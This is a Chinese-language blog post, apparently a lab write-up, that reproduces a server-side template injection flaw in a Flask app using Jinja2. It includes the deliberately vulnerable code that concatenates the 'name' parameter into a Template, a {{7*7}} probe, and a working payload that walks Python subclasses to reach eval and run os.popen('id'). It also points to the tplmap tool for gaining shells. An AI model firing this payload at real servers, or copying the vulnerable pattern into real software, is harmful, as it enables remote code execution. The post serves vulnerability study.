Flask-ssti漏洞复现

漏洞描述:

在jinja2模板中能够访问python中的内置变量并且可以调用对应变量类型下的方法,从而导致文件读取或命令执行

漏洞复现:

通过docker启动靶场之后进入如下页面:

 然后查看一下后端代码。如下:

from flask import Flask, request	#Flask框架核心功能
from jinja2 import Template		#模板引擎

app = Flask(__name__)		#创建Flask应用实例

@app.route("/")		#绑定根路径"/"的访问
def index():
    # 获取URL中?name=后的值,若无则默认为'guest'
    name = request.args.get('name', 'guest')

    # 动态拼接模板内容:例如 name='John' → 生成"Hello John"
    t = Template("Hello " + name)
    return t.render()		#渲染输出最终HTML

if __name__ == "__main__":
    app.run()		#启动开发服务器

​​触发位置​​:t = Template("Hello " + name) ​​

根本原因​​:直接将未过滤的用户输入(name参数)拼接进模板字符串,导致攻击者可注入Jinja2模板语法。

操作链​​:用户控制输入 → 直接拼接模板 → 编译为AST → 执行任意代码

根据代码构造参数:http://xxx.xxx.xxx.xxx/?name={{7*7}},返回页面如下图:

 证实存在SSTI漏洞。要实现远程代码执行,可以使用以下POC获取eval函数并执行任意Python代码:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问以下URL(POC进行URL编码)执行命令。结果如下图所示:

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件。Tplmap为SSTI的利用提供了很大的便利

github地址:https://github.com/epinna/tplmap

posted @ 2025-05-22 12:45  ZyonSec  阅读(123)  评论(0)    收藏  举报